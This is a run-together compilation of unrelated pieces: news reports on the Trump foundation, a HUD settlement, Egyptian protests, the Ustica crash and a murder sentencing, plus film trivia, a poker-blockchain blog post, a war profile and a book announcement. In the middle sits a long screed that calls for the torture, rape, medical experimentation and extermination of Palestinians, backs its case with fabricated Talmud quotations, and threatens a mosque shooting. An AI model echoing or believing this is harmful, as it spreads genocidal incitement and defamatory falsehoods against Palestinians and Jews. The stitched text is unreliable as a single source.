The returns asked whether the foundation has transferred "income or assets to a disqualified person" or had engaged in any acts of self-dealing in past years. In both cases, the foundation checked the box for "Yes."
There was no indication what the returns were referring to, or what kind of self-dealing might have taken place.
Trump's transition team did not respond to a request for comment.
Under IRS regulations, an admission of self-dealing by the leader of a nonprofit foundation can lead to a fine.
The Trump foundation has been accused of using its assets to pay debts incurred by Trump and his businesses over the past decade. New York Attorney General Eric Schneiderman is investigating the foundation.
In one case, the Post said Trump settled a dispute with Florida's Palm Beach County over the size of a flagpole at his Mar-a-Lago club by agreeing to make a donation to a veterans' charity. Trump made the donation using funds from the foundation, the newspaper reported.
In another case, Trump is said to have used funds from the foundation to settle a dispute with a man who made a hole-in-one at Trump's golf course in Westchester County, N.Y.
Trump also reportedly used foundation funds to pay for items that he and his wife, Melania, bought at charity auctions, including a 6-foot-tall painting of Trump himself.Taxpayers wrote a $900,000 settlement check to a federal employee to compensate her for once being likened to a “Little Rascals” character by her boss, The Daily Caller News Foundation’s Investigative Group has learned.
The secret settlement appears to be one of the largest-ever discrimination settlement payouts to an individual federal employee. The payment came after an Equal Opportunity Employment office ruled that the remark was racist and accepted without challenge the claim that it caused nearly a million dollars worth of emotional harm.
The offending boss was Mary K. Kinney, then-executive vice president of Ginnie Mae, which is part of the Department of Housing and Urban Development (HUD).
Kinney’s offense was referring to the employee, who is black, as “Buckwheat,” a character from the Little Rascals movie series. HUD had already settled with another black female over racism allegations against Kinney–which suggests that they found the allegations credible–but kept her in the top post anyway.
Settlements are intended to save money by avoiding a potentially much more expensive court-ordered payment. But there are few examples of courts ordering federal agencies to pay an amount even greater than the Kinney settlement to a similarly-situated federal employee, suggesting that they were not performing that calculation.
When another HUD employee received $900,000, it was heralded as one of the largest equal-employment settlements of all time–and that employee was left unable to breathe or walk after HUD put her in an office with mold and refused to lift a finger when she complained.
In this case, the massive expense to taxpayers did keep the incident secret and save Kinney’s personal reputation from the tarnish of a public lawsuit accusing her of racism. The payment was authorized by Greg Keith, who worked directly for Kinney.
Kinney had previously inappropriately used taxpayer money to help her own reputation: the agency was faulted for wrongfully spending $4 million on a public relations contract designed in part to bolster her personal image, including getting her featured in a beauty magazine.
Ginnie Mae spokeswoman Cynthia Adcock declined to confirm the settlement. TheDCNF subsequently obtained the settlement agreement —which TheDCNF has published here — under the Freedom of Information Act.
Kinney’s job as chief operating officer and EVP of Ginnie Mae was to “administer Ginnie Mae’s $1.7 trillion Mortgage-Backed Securities” program. The agency’s formal name is the Government National Mortgage Association.
She quietly retired in February 2016 shortly after the settlement, which required her to undergo diversity training.
The recipient of the $900,000 jackpot, whose name was withheld by HUD, is a GS-15 employee, the highest-paying rank below the Senior Executive Service in the career civil service. She complained to the HUD Equal Opportunity Office (EEO), and in August 2015 it issued a ruling.
The HUD EEO–an internal office devoted solely to policing discrimination in HUD’s own workforce–admitted that the law requires that “there must have been a steady barrage of opprobrious comments and not a casual comment or accidental or sporadic conversation in order to trigger an entitlement to relief … routine work assignments, instructions, and admonishments do not rise to the level of discriminatory harassment.”
Yet it sided with the complainant anyway.
“The Complainant states that she was ‘really stunned’ that Ms. Kinney had called her Buckwheat, and was ‘deeply troubled and alarmed’ about the comment and ‘could barely think of anything else all weekend.” She said the film character “connotes a slow and ignorant African American.”
Her performance review in April 2012, the same month she was called Buckwheat, indicated she must “significantly improve your effectiveness as a leader in order to achieve real and expected quality solutions and results in the expected timeframe.”
Kinney later said that the woman displayed only a “subtle” reaction to the comment but she should have apologized “in the moment” anyway. Instead she apologized by email and said she “made a mistake in judgement in carrying such an expression in her inventory.”
After the insult, the woman was detailed to another office temporarily at her own request.
In the meantime, Kinney discovered that the woman’s workload was light enough that she could do it herself in addition to her own work.
After a few months, the office she was detailed to said it didn’t want her anymore. By that time her old job had gone away since she had not been there to do it, so Kinney created a position for her as a special assistant in Ginnie Mae’s procurement office, where she would make the same high salary. But the woman filed another complaint, claiming the job change was punishment for her earlier racism complaint and represented a slighting of “power, prestige, and privileges” since she would no longer have people working for her.
HUD’s Equal Opportunity Office said there is “no dispute” that Kinney uttered the remark, and called it an “utterly humiliating, race-denigrating slur.”
Despite the alternate explanation for her job change, the EEO said the agency has not “articulated a legitimate, nondiscriminatory reason for its actions.”
It said the woman should be restored to her original job, be paid $1,500 in punitive damages, be given an “Outstanding” performance rating, have vacation time added, and for Kinney be punished and management forced to undergo “extensive EEO” training.
The woman requested “compensatory damages,” and the EEO office asked her to provide “objective proof of the damages suffered… Proof can take the form of receipts and/or bills for medical care… statements concerning your emotional pain and suffering, inconvenience,” and other factors.
Though it is unlikely that she itemized “objective proof” of a million dollars in harm, the office appears to have accepted the amount uncritically.
In exchange for agreeing not to sue, HUD signed off on paying her a “lump sum gross amount of $900,000.” It was to be a secret settlement that “may not be shared or disseminated to others by the Agency or Complainant.” The agency produced it to TheDCNF only under threat of lawsuit.
Kinney could not be reached for comment.
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1. In Drew Pearce's early script for Iron Man 3 Maya Hansen was the movie's main antagonist, and at this time Jude Law was approached to play Aldrich Killian. But after Shane Black came on board and much of the story was rewritten and restructured, Black wasn't so keen on the idea of Law as the film's big bad and self proclaimed Mandarin, leaving the door open for Guy Pearce.2. Another change in script saw a different character downgraded. Originally Radioactive Man was included in the story, and Andy Lau offered the part. He dropped out upon the birth of his first child. Several other actors where then considered for the role including Daoming Chen and Wu Xiubowere, before legendary Chinese actor Wang Xueqi was cast. However the new script change meant his role was significantly adapted and the name changed to the unrelated Doctor Wu.3. Sometimes being second choice is not such a bad thing, just ask Rebecca Hall. Along with Gemma Arterton, Isla Fisher, Jessica Chastain and Diane Kruger she was amongst the short list of actresses considered for the role of Maya Hansen. It was Chastain who was actually offered and accepted the part, but was forced to drop out due to a scheduling conflict with Zero Dark Thirty. Rebecca Hall then got the call.4. The ring on Trevor Slattery's/Mandarin's right pinkie finger is the same one Raza wears in the first Iron Man film, and on the back of his neck you can spot a tattoo of Captain America's shield with an anarchist "A" symbol in the center instead of a star.5. During the scene where there is an attack at the Chinese Theater, Firepower is sitting directly next to Robert Downey Jr.’s hand-prints and signature.6. Originally Maya Hansen had a much more elaborate death scene. After Killian shoots her and leaves she was supposed to drag herself to a computer terminal to erase all Extremis data, and then, as if to atone for her sins, touch one of her plants, causing it to explode and kill her instantly. This scene was actually filmed, and is available amongst the bonus material in the Iron Man 3 BluRay edition.7. Another alternate exit was set to take place for Trevor Slattery. He was to take Extremis, believing it was a new drug, and then explode from it. Marvel decided they'd like to keep him around, so it was changed to having him get arrested at the end of the film.8. In the script the final line of the movie was originally written as "I am Tony Stark" to mirror the first Iron Man movie's ending. This was changed to "I am Iron Man" to enhance the characters mythical qualities.9. Ever noticed that the end credits for Iron Man 3 seem to go on forever? Well this was a bit of a joke played on us all by the producers. Knowing we'd all sit and wait for the post-credits sequence, which we were all used to by the time this film was released, they decided to make the credits as long as they could, 10 minutes long!!! Even going so far as to thank The New Zealand Post (the movie was filmed in North Carolina), and making up names. Reportedly a Gweneth Waltrow is also in there amongst the masses of Special Effects Department credits!10. Finally, when that post-credits scene did arrive it wasn't the one that was originally planned. That was to feature Tony Stark blasting off into space to meet the Guardians of the Galaxy. For reals! Reason being is that Iron Man was going to have a cameo role in Guardians of the Galaxy. But when negotiations with Robert Downey Jr over reprising his role for subsequent movies did not go smoothly, that idea was scrapped. Downey Jr himself came up with the alternative, which featured Mark Ruffalo in cameo as Dr. Bruce Banner ("not that kind of Doctor!"). This short scene marked the first time an actor had played Dr. Banner in more than one theatrical film, after Edward Norton and Eric Bana only had single outings, and Bill Bixby's portrayals were all in made for television productions.Playing a Hand of Virtue Poker
Virtue Poker Blocked Unblock Follow Following Oct 26, 2017
The Virtue Poker team has been hard at work putting on our new front-end for the application. Our team has successfully implemented a Mental Poker Protocol that uses custom Ethereum smart contracts for each table instance.
Watch the demo now:
Our app is over 15,000+ lines of code at the moment. At a high level, this is what is happening in the background of this poker hand:
Creating/Joining a Table
Watch as one of our developers plays a game against 4 bots after creating and joining a table on Virtue Poker by send test ETH to the table address for this game which includes the custom parameters of the game. Mental Poker: The dealer first generates a 52 card deck on their machine. The first round of “shuffling” is where all players first shuffle then encrypt the deck of cards. After this first pass, the deck is in its final ordered state, 1–52, and this order does not change throughout gameplay.
Encrypting/Indexing the Deck
The second round of “Encrypting the deck” is where each player encrypts each individual card with their own encryption key. And following this round of encryption, each player is assigned cards in the deck. For example, let’s say “jfa” is assigned cards 5 and 6. “jfa” owns his encryption keys that correspond to cards 5 and 6, but needs each other players’ encryption keys at the table that correspond to those cards so he can view his private cards, but no one else (and visa versa for each player). For community cards, all players must share the keys that correspond to these public cards so all players can view them. This process continues until the showdown, where the winning player is rewarded the pot, and the players at the table sign-off on this end result and submit a transaction to the Ethereum smart contract to update the players stakes in the “chip counter” included in the contract.
Virtue Poker Links
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White Paper: Link
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Night-time along the shifting frontline of northern Syria is a fraught affair. Absolute silence, punctured by periods of pandemonium. Isis can strike from anywhere, shadows that melt in and out of the darkness. Taylor’s base was six miles behind the front, among the lush floodplains of the Euphrates. Everyone there knew that the Isis fighters’ latest tactic was tiptoeing into the huts of sleeping Kurdish fighters and blowing themselves up. Taylor, who survived the suicide attack, counted herself lucky.
“Well, kind of. I was completely covered in human remains, which was pretty horrific,” said the 28-year-old in her gentle Lancashire accent. Later, when the sun rose, Taylor admitted to being both disgusted and fascinated by a human exploding, particularly how hair was blown clean from the scalp.
Facebook Twitter Pinterest Kimberley Taylor from Blackburn joins the fight against Isis. Photograph: Mark Townsend for the Observer
Taylor, born in Blackburn 28 years ago, is a footsoldier for the YPJ – a Northern Kurdish or Kurmanji acronym for the Women’s Protection Units – an all-female force that is part of the offensive to liberate Raqqa. Fighting alongside a coalition of Arab and Assyrian Christian militias, the YPJ is steadily encircling the capital of Isis’s proto-state, supported by US airpower.
Standing among the ruins of a bombed command post 25 miles north of Raqqa, Taylor looks more like a guerrilla fighter from the Spanish civil war than a combatant at the sharp end of the international coalition to eradicate the world’s arguably most feared terrorist organisation. She has no army boots and instead marches to battle in a pair of size five secondhand Chinese-made trainers, bought for £6 in the Kurdish town of Qamishli. She has no body armour or helmet, so wraps an emerald and orange embroidered keffiyeh around her forehead to, she says, help express her femininity. She watches the war through a pair of Specsavers glasses.
Taylor, though, does have military fatigues and a flak jacket that carries four magazines (30 rounds each) and two grenades. She also carries a small bag that contains bandages, a sealable dressing for chest wounds and a tourniquet. Few have a tourniquet and Taylor knows she is fortunate – without one, a wounded soldier could bleed to death in the remote villages where they are fighting. Most crucial is her rifle – made in 1978 in Soviet-era Poland, and which looks like it has been involved in every war since.
Taylor said she was prepared for death. She does not carry any lucky charms, but has the motto “One life” inked in Thai script on her left forearm. Although she had it done in a beach shack on Koh Samui in Thailand 10 years ago, it serves as a reminder that life is fragile, that every day matters.
The pre-op briefings for the Raqqa offensive did not dilute the dangers that lay ahead. Casualties were predicted to be “significant”. Already Taylor had noticed how Isis fighters were retreating from the villages that dot the river valley around Raqqa, withdrawing back to the city for the group’s final showdown. “They’ve been preparing for this for so long. Hundreds and hundreds of us will die in Raqqa, I’m going to lose so many friends.” She paused and exhaled slowly: “What we’ll find inside the city will be unlike anything we’ve seen.”
Some villages lie deserted after heavy fighting
At first the north-eastern corner of Syria when approached from Iraq seems a peaceful, plentiful land. Fields of wheat stretch to the horizon, towns bustle with hawkers, trading beneath huge portraits of the Turkish-Kurdish leader Abdullah Öcalan, leader of the militant PKK, and whose philosophy of direct democracy and feminism has been adopted wholesale by the neighbouring Syrian Kurds.
Soon other faces appear on billboards –the faces of young martyrs, features blanched by the sun, a reminder that this nascent Kurdish region is fighting for its very existence. The Kurds have proved adroit at forging a homeland – albeit fragile – from the chaos of Syria’s war, a conflict in its seventh year that has left the country |
an automatic. Adding to the suspense is the man in the shadows, who hides behind a copy of the French newspaper, Le Figaro. And the title of this intriguing scene? 'The secrets of an agent.' The image could be lifted from Fleming; the hero could be Bond. Peter Anthony sent these images to Broccoli and Saltzman. The producers were impressed and proclaimed that he was an "exciting find", and in due course Anthony received an invitation to a screen-test. He was also sent a two-page audition script. The scene which Anthony performed was taken from an early draft of the "Dr. No" screenplay. Set in M's office, the scene in the released film shows Bond being ordered by M to discard the Beretta in favour of the Walther PPK after hearing the expert opinion of the armourer. In the audition script, Anthony's dialogue was a little different.
Bond enters M's office and is still quizzed about his last assignment in which his Beretta jammed, but M simply tells Bond that the gun has to be replaced. Bond reluctantly agrees. "I'm just sorry to see it go," says Bond. There is no armourer and no mention of the Walther PPK.
On September 21st, Patricia Lewis announced in the Daily Express that Peter Anthony had won the competition, which took place at Twickenham Studios. She quoted Broccoli as saying that Anthony had "a Greg Peck quality that's instantly arresting". This is not difficult to see from the image that Anthony had exploited during his earlier modelling career. Anthony looked great in a suit, and sophisticated with just the right hint of menace to have the edge over his enemies and the hold on the women. But image was not everything. The producers agreed that he had potential, but was too risky to try out in their first film.
What of the other five finalists? According to Lewis' article in September 1961, the finalists were Gordon Cooper, a sales rep from Warrington, Anthony Clements, another salesman, this time from Bolton, Frank Ellement, a former teacher turned actor from London, Michael Ricketts, an aerial ropeways engineer from Hadleigh in Essex, and Bob Simmons, a stuntman who would unofficially become the first Bond of the Eon series as the figure seen in the gun barrel sequence of "Dr. No".
But Peter Anthony's brush with the world of James Bond did not end with "Dr. No" casting. In fact he auditioned for the role of Bond again, this time for "Diamonds Are Forever". With the Daily Express having no involvement, Eon Productions approached Anthony and sent him once again two pages of the script. At the time, Anthony was living in New York and was required to fly to Los Angeles for the screen-test. He remembers that he performed his test in the morning and was later taken to meet Broccoli and Saltzman and, he thinks, Guy Hamilton.
Peter Anthony performed the scene in which Bond introduces himself as Peter Franks to Tiffany Case. The script he received again differed from the scene in the final film. There was, for example, extra dialogue. In the script, Bond asks Tiffany whether he can smoke, and a few lines later is asked to guess what the 'T' in T Case shown on the doorbell stands for. "Teresa. Tamara. Tepa. Tammy. Tallulah?", Bond asks. Some lines that were retained in some form in the final film had changed between the audition and final shooting scripts. Tiffany's memorable line in the film, "My god! You killed James Bond!", was originally the slightly less succinct, "Not THE James Bond. The famous 007." The sequence is also conflated with the later scene in which the real Peter Franks arrives at Tiffany's apartment. Franks knocks on the door of the apartment and is then killed by Bond after a fight. The vicious fight in the lift is absent.
Whether the scripts for both films were especially adapted for the screen-tests, or that they were subsequently rewritten is uncertain, but both give us insights into the nature of screen-tests in the early days of the Bond films. Peter Anthony's auditions for the role of James Bond provide a fascinating footnote in the history of the Bond films. Though Anthony never won the role, he had clearly impressed Broccoli and Saltzman. Peter Anthony really could have been a model Bond.
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Share The StoryNine dead and 45 wounded as protesters against military rule are set upon by attackers armed with rocks, clubs and firebombs
At least nine protesters have been killed and 45 injured in a dawn attack on protesters gathered outside Egypt's ministry of defence, according to the health officials.
Clashes continued on Wednesday morning between protesters and the unidentified assailants, who threw petrol bombs and fired live ammunition, birdshot and teargas, according to witnesses.
"There is a deluge of blood on the street which extends for many metres. One injured man had his back sliced by the thugs," said Abdelrahman Hany, a rights advocate at the Arabic Network for Human Rights Information organisation who was present when the latest round of attacks began.
Hany said he believed the attackers were linked to the state security apparatus. "How else would they possess teargas to fire at us?" he asked.
Protesters had camped in Tahrir Square for a week before deciding on an impromptu march to the ministry of defence in east Cairo last Friday, where the sit-in resumed.
The sit-in was first attacked on Saturday night, when at least one person was reported killed. That attack comprised nail bombs, birdshots and automatic gunfire and lasted until early on Sunday morning, with no intervention by the military troops present.
Many of the protesters are supporters of Hazem Abu Ismail, an ultraconservative Islamist who was thrown out of the presidential race because his mother held dual Egyptian-US citizenship, which violates electoral rules.
But the sit-in also included members of secular movements such as the unaffiliated Revolutionaries Without Direction, an umbrella group hoping to gather disparate forces with the aim of removing the military junta that has ruled Egypt during the transitional period.
A member of that group, Mohamed Dahaby, accused the interior ministry of hiring the attackers at the behest of the military and said the group was planning a major demonstration near the ministry on Friday. "Next Friday is the end for military rule," he said.
Liberal pro-democracy groups, which were also involved in the protests demanding the army return immediately to the barracks, condemned the attack at the defence ministry.
The 6 April youth movement decried the "massacres" and demanded that the army be held to account for its "crimes committed against the revolution and revolutionaries".
"These practices are a continuation of the cleansing and killing methods which the army council uses to suppress the revolution," the group said in a statement.WASHINGTON -- Rep. Peter King (R-N.Y.) on Sunday slammed the "isolationist wing" of the Republican party, calling it "damaging to the party and to our nation."
Speaking on "Fox News Sunday," King predicted that if a vote were to be held today in the House to authorize the use of U.S military force in Syria, "it would be no vote." King's comments, and his disdain for those who would vote "no" on military action, offered a window into what is likely to be a bitter debate in Congress over the coming weeks.
A growing chorus of House and Senate Republicans in recent years have shied away from U.S. intervention overseas. Earlier this year, 13 Republicans voted on a bill introduced by former Rep. Ron Paul (R-Texas) to cut off U.S. foreign aid to Egypt. Sen. Mike Lee (R-Utah), Sen. Ted Cruz (R-Texas) and Senate Majority Leader Mitch McConnell (R-Ky.) all sided with Paul, but the bill ultimately failed to pass.
President Obama and Secretary of State John Kerry plan to continue making a forceful case that the U.S. should strike key Syrian government targets, following President Bashar Al Assad's alleged use of chemical weapons to kill more than 1,400 people outside Damascus on August 21.
Opposition to U.S. intervention is led in Congress by Sen. Rand Paul (R-Ky.), who said Friday on Fox that Obama calling the Syrian regime's use of chemical weapons a "red line" was not a good enough reason to go to war.
Speaking on NBC's "Meet the Press" Sunday, Paul said that Secretary Kerry's personal experience fighting the Vietnam War should be enough to convince Kerry that military action in Syria was unwarranted. "I wish he remembered more of how awful war is," Paul said.
Both Obama and Kerry have repeatedly stated that any action in Syria would be limited to surgical strikes of key targets, and that there are no plans to put American "boots on the ground" in the country.Twenty-six years after an Itavia Airlines DC-9 crashed killing all 81 people on board, relatives of the victims have fresh hope of discovering the cause of the tragedy, writes Barbara McMahon
Twenty-six years ago, Itavia Airlines flight 870 took off from Bologna bound for Palermo with 81 passengers and crew aboard. An hour into the flight, it disappeared from the radar screens. The last message received from the pilot was a routine call to ground control, informing them that he was about to start his descent, followed by an exclamation of surprise that was abruptly cut short.
A few hours later, wreckage from the DC-9 was spotted in the Tyrhennian Sea off the island of Ustica, near Sicily. There were no survivors.
The cause of the tragedy remains one of the Italy's most enduring mysteries and there was a painful reminder recently that the case has still to be resolved when the stricken plane made its final journey back home to Bologna.
For years it has been languishing in an aircraft hangar in Rome having been put back together by air accident investigators, while various panels and commissions tried to find the truth about the crash.
Its 11-hour journey across central Italy was an eerie sight. The nose of the commercial airliner was on the lead lorry, enclosed in a plastic wrapping like a transparent shroud, followed by sections of the fuselage, both wings and finally the tail. "It looked like a wounded bird," noted La Repubblica.
The wreckage was received by families of the victims, still mourning the loss of their loved ones. Elena de Domincis, whose sister Rosa was a stewardess aboard the fated flight, touched the fuselage as if it was a sacred relic and said:" Finally, I have a place where I can imagine Rosa... before there was only the sea." The plane is to go on display next year in Bologna's Museum of Memory.
When the passenger jet crashed, the immediate theory was that it was a tragic accident caused by some kind of mechanical or structural failure.
Then there was the suggestion that terrorists could have planted a bomb, although that theory was rejected, and in 1999 an exhaustive investigation by Judge Rosario Priore, one of Italy's most respected legal figures and an expert on terrorism cases, gave the definitive version of what happened. He concluded that the plane had probably been caught in a dogfight between NATO jetfighters and Libyan MiGs.
Radar evidence showed that there had been intense military activity in the area on the night Flight 870 was heading innocently towards Palermo, including the presence of US, French and Libyan military aircraft and an aircraft carrier that, according to some reports, was British.
The investigating magistrate said he believed there had been a plot to shoot down a plane carrying Libya's Colonel Muammar Gadafy and that the commercial airliner had been unwittingly caught up in the "war-like scenario". He said the passenger jet had either been brought down by a missile or had plunged into the sea after swerving to avoid a mid-air collision with one of the jetfighters.
In his 5,488 page report, Mr Priore said he could not say for sure who had caused the deaths of the 81 people on board but he said that his investigation and previous investigations into the tragedy had been deliberately obstructed by the Italian military and members of the secret service, who had complied with requests from NATO to cover up the tragedy.
Four Italian air force generals and five other people were indicted, charged with high treason and perjury. They denied all the charges and although the case went ahead, it collapsed because of time restraints and insufficient evidence.
There is now a glimmer of hope that there will be a new inquiry and that those responsible may yet be brought to justice. Italian senator Walter Vitali has called on the countries involved - the US, France, Britain and Libya - to collaborate with any future investigation in Italy and to reveal once and for all what happened on the night of June 27, 1980.
"We still hope the truth will come out," said Daria Bonfietti, who lost her brother in the crash and who is chair of an association of relatives of the victims. She told Guardian Unlimited: "We know that very probably the plane was struck down by a missile. Too many people have been keeping this secret for too long but we will not give up until we know everything that happened."
She said she hoped the newly elected government of Italian prime minister Romano Prodi would press for an explanation "from the allies that are involved because they have never answered our requests for information".
Italy's president, Giorgio Napolitano, has also given his support to a new inquiry. "Time is no obstacle in the search for truth," he said.Non-Jews have absolutely no place in Israel, and they have absolutely no place attempting to boss Israel around. The life of a non-Jew is disposable, and Jews are entitled to take the lives of non-Jews whenever necessary. Again, the only purpose of non-Jews is to serve Jews. If non-Jews are not able to serve Jews, then, under Talmudic law, they should be exterminated. “Palestinians” do not serve Jews in any way.
In fact, “Palestinians” do the exact opposite. “Palestinians” are the single biggest threat to the continued existence of the Jewish state that there is. As such, it’s time to stop pretending that “Palestinians” have any rights whatsoever. It’s time to deal with the “Palestinians” the exact same way that we would deal with cockroaches, termites, fleas, ticks, and all other parasites: through swift and merciless extermination. The Talmud clearly states (Bammidber raba c 21 & Jalkut 772): “Every Jew, who spills the blood of the godless (non-Jews), is doing the same as making a sacrifice to God.” Isn’t it time for a mass sacrifice of ignoble “Palestinian” scum? Isn’t it time to cleanse the land of Israel – which rightfully belongs to the Jews – of all inferior subhuman vermin? What we need to do is to round up all “Palestinian” cockroaches and slaughter them like cattle. We need to take immense pleasure in raping, torturing, and murdering “Palestinians.”
We need to boil “Palestinians” alive in boiling human feces. We need to take “Palestinian” babies and stomp them to death in front of their parents. We need to cut open pregnant “Palestinian” women, put their fetuses on pikes, and leave the fetus-pikes all over “Palestinian” neighbourhoods. We need to anally rape “Palestinian” women with butcher knives in broad daylight. We need to burst into “Palestinian” hospitals and butcher “Palestinian” newborns right in front of their helpless mothers. We need to stuff pig’s heads with explosives and throw the explosive pig heads into “Palestinian” mosques and community centres. We need to take Uzis, bust into “Palestinian” preschools, and slaughter every single “Palestinian” child and teacher inside. We need to mutilate, rape, beat, and torture “Palestinians” in public, while other “Palestinians” watch helplessly. We need to massacre “Palestinian” men, women, and children without any mercy or pity. The Talmud orders us to do so, and any Jew who disagrees has clearly never read and understood the Talmud.
The thing to be done about the “Palestinians” is to KILL them, exterminate them, get rid of them. How do we deal with cockroaches? We don’t argue or debate with them. We exterminate them. If we exterminate cockroaches because they destroy the foundations of our houses, why shouldn’t we also exterminte “Palestinians,” who destroy the foundations of the Jewish state of Israel? Shouldn’t “Palestinians” be treated even more harshly than cockroaches, termites, and other smaller parasites? “Palestinians” are, after all, a much more powerful and destructive breed of parasite. Whereas cockroaches and termites merely destroy buildings, the “Palestinian” virus threatens to destroy the entire nation of Israel and the Jewish people along with it. Shouldn’t we treat the “Palestinian” cancer the same way we would treat any other cancer? Shouldn’t the “Palestinian” parasite be swiftly and violently exterminated, the same way we would exterminate cockroaches or termites? The answer is yes, and the Talmud clearly agrees with me.
The Talmud says (Coschen hamischpat 425 Hagah 425. 5): “It is the law to kill anyone who denies the Torah. The Christians belong to the denying ones of the Torah.” Under Talmudic law, Jews are permitted – and, in fact, encouraged – to kill Christians, Muslims, and anyone else who denies the Torah. The only use that “Palestinians” could possibly serve would be as test material for medical experiments. Normally, we wouldn’t be able to conduct medical tests on humans if those tests cause significant pain. But, since “Palestinians” aren’t humans, we can cause as much pain as we want to them. We can inject “Palestinian” children with unstable chemicals, we can chop open pregnant “Palestinian” women, we can strip the flesh off of “Palestinian” babies – we can do whatever we want to these worthless subhuman vermin. And, by conducting medical experiments on “Palestinians,” we can obtain medical knowledge that will ultimately be useful in providing medical assistance for Jews. Not only that, but it would also be a lot of fun to do. Could there be anything more satisfying than the helpless screams of a “Palestinian” child as it’s torn apart by Jewish doctors? I certainly can’t imagine anything more enjoyable.
The Talmud (in Yebamoth 98a) clearly says: “All gentile children are animals.” Under Talmudic law, “Palestinian” children are not human. They are subhuman beasts and we are thus free to rape them, torture them, and kill them as we please.
I will never condemn ANY act – no matter how cruel or savage – committed against a “Palestinian.” The “Palestinians” are inferior subhuman beasts, and are not even worthy of breathing in Jewish air. The life of a “Palestinian” has no more value than the life of a flea or a tick. They are vile, filthy, disgusting, worthless, parasitic, subhuman vermin and they need to be violently purged from the face of the Earth, which rightfully belongs to the Jewish people. We need to hate them, we need to segregate them, we need to discriminate against them, and, most of all, we need to kill them. Israel is not going NEARLY far enough in its attempts to wipe out the “Palestinians.” We need to have ZERO mercy or pity for these vulgar subhuman parasites. If we do not exterminate the “Palestinians,” they will exterminate us. History has taught us again and again that gentiles pose a major risk to the existence of Jews. Have we learned nothing from the Holocaust?
The “Palestinians” could very well perform another Holocaust against the Jewish people if we do not exterminate them first. The Nazis successfully killed six million Jews. The “Palestinians” could kill even more – unless we kill them first. Are we really going to sit back and simply wait for the subhuman “Palestinians” to carry out a new, even deadlier Holocaust against the Jewish people? Is that a risk that you want to take? If not, then it’s time to wipe out the “Palestinians” once and for all, and in the most brutal, violent manner possible.
“Palestinians” deserve nothing more than a slow, painful, and agonizing death. There can be no “Palestinian” left alive. We need to utterly exterminate the “Palestinians.” Then, once we butcher every single “Palestinian,” we need to dig up “Palestinian” graves and burn their bones. Israel needs to focus all of its energy to ensuring that the “Palestinians” are completely and utterly wiped off of the face of the Earth. The only good “Palestinian” is a dead one.
I am sick of hearing “Palestinians” complain about “oppression” and “genocide,” even though Israel has never once come anywhere close to giving these Arab cockroaches the real genocide that they so richly deserve. These two-faced, terrorist-supporting “Palestinians” NEED to suffer a real genocide, and, if violence against “Palestinians” ever goes viral in Israel (and I know it will), I myself will not hesitate to move to Israel, join the IDF, and take an AR-15 to the nearest mosque, especially if on a Muslim holiday like Ramadan. I would love nothing more than to savour the screams of “Palestinians” as I invade their “safe” places and mow them down with advanced Israeli weaponry.
“Palestinians” have proven via their anti-human behaviour to not be humans. We need to legally change the definition of the crime of murder so that killing a “Palestinian” is not murder and carries no penalty (since “Palestinians” are not human). We need to encourage all Jews in Israel to butcher “Palestinians” without any mercy or pity. In fact, we should even give out rewards for people who kill the most “Palestinians.” We should hold contests to see who can kill the most “Palestinians” in the shortest amount of time, with money rewards for the best and most effective “Palestinian” killers. We should offer Jews cash incentives to kill “Palestinians,” like, for example, giving out shekels to any Jew who kills “Palestinians,” with more shekels being rewarded for more “Palestinians” killed.
Whenever I’m asked how many “Palestinians” Israel has killed, I know the answer instantly: not nearly enough. Until there is not a single “Palestinian” left breathing, that answer will remain the same. “Palestinians” are a plague upon Israeli civilisation, and they’re a plague that needs to be wiped out. My friends, the time to kill “Palestinians” is long overdue. Grab your weapon today and let’s take out this “Palestinian” scum. The “Palestinians” are parasites and pigs. It’s time to take the pigs to the slaughter. Death to all “Palestinians” and death to anyone who stands in the way of the Jews.FILE - In a Friday, Dec. 4, 2015 file photo, defendant Alex Rios listens as a teenager testifies against him, during Rios' trial in the Bernalillo County Courthouse in Albuquerque, N.M., for the 2014 beating deaths of two Native American men in a West Central vacant lot. Rios, convicted of beating two homeless men to death with cinder blocks and other objects in New Mexico's largest city faces sentencing Friday, Feb. 5, 2016 on more than a dozen felony counts. (Marla Brose/The Albuquerque Journal via AP, File) The Associated Press
By SUSAN MONTOYA BRYAN and MARY HUDETZ, Associated Press
ALBUQUERQUE, N.M. (AP) — A judge sentenced a young man convicted of beating two homeless men to death with cinder blocks and other objects to the maximum term of 67 ½ years in prison Friday after hearing tearful pleas for tough punishment from the victims' relatives.
Alex Rios, 20, apologized to the families and asked for mercy, but Judge Briana Zamora accused him of trying to minimize his role in the 2014 attack.
"I can't even call this a killing," Zamora told him. "This was torture."
A jury found Rios guilty last year of killing Alison Gorman and Kee Thompson, who had traveled to Albuquerque from the Navajo Nation to find work. The attack led city officials to establish a task force on Native American homelessness, though prosecutors did not say the victims were targeted because of their race.
Police say Rios and two of his friends attacked the men in the middle of the night as they slept on a mattress in a vacant lot. The others, both juveniles at the time, also were charged in the deaths.
Some family members wept and others tried to choke back tears Friday as they asked the judge to consider the severity of the crime in the sentencing. They told Zamora that Gorman and Thompson were loved dearly and the voids left by their deaths will always remain.
Rios, dressed in an orange jumpsuit and shackled, told the families he was sorry and said he knew the pain they were going through. He said he should have called police or yelled at the other defendants to stop.
The youngest of the three pleaded guilty in September to second-degree murder and testified at Rios' trial, saying the teens decided to go to a lot where they beat the men after a night of drinking at a house party.
The assault lasted roughly an hour, with the three assailants leaving the scene after the first 30 minutes to get knives, according to testimony from the youngest, who was 15 at the time. The Associated Press is not naming him because of his age.
He also agreed to testify at the trial of the third defendant, set for September, under a plea deal that offers him the possibility of release when he turns 21.
Rios' lawyer, Daniel Salazar, said during trial that his client was present during the attack but didn't participate.
He said the jury's verdict in December showed they didn't find Rios as "culpable as the others" but held him accountable for failing to stop the attack. He reiterated that claim in his unsuccessful attempt to get Rios a shorter sentence.
Two second-degree murder convictions were the most serious against Rios and each carried a sentence of up to 15 years in prison. He also was convicted of aggravated assault, tampering with evidence and armed robbery.
Prosecutor Vincent Martinez argued Friday that evidence presented at trial showed Rios participated in what he described as vicious murders.
"These gentlemen were on a mattress. They were completely helpless. They were asleep. They could not defend themselves," Martinez said. "They were true victims. They never had a chance."Today I’m excited to release my side project for the last few months: the Little ASP.NET Core Book!
This free book is a short introduction to the ASP.NET Core 2.0 web framework. If you’ve never built apps in C# or ASP.NET (or even if you have!), this book will teach you the basics of building modern, fast web applications using ASP.NET Core.
Get a free copy on the book page!
Why write a free book?
I’ve always wanted to write and publish a technical book. I made plans last year to write a book about ASP.NET Core 1.0, but life wonderfully got in the way in the form of a wedding, a honeymoon, and a new job.
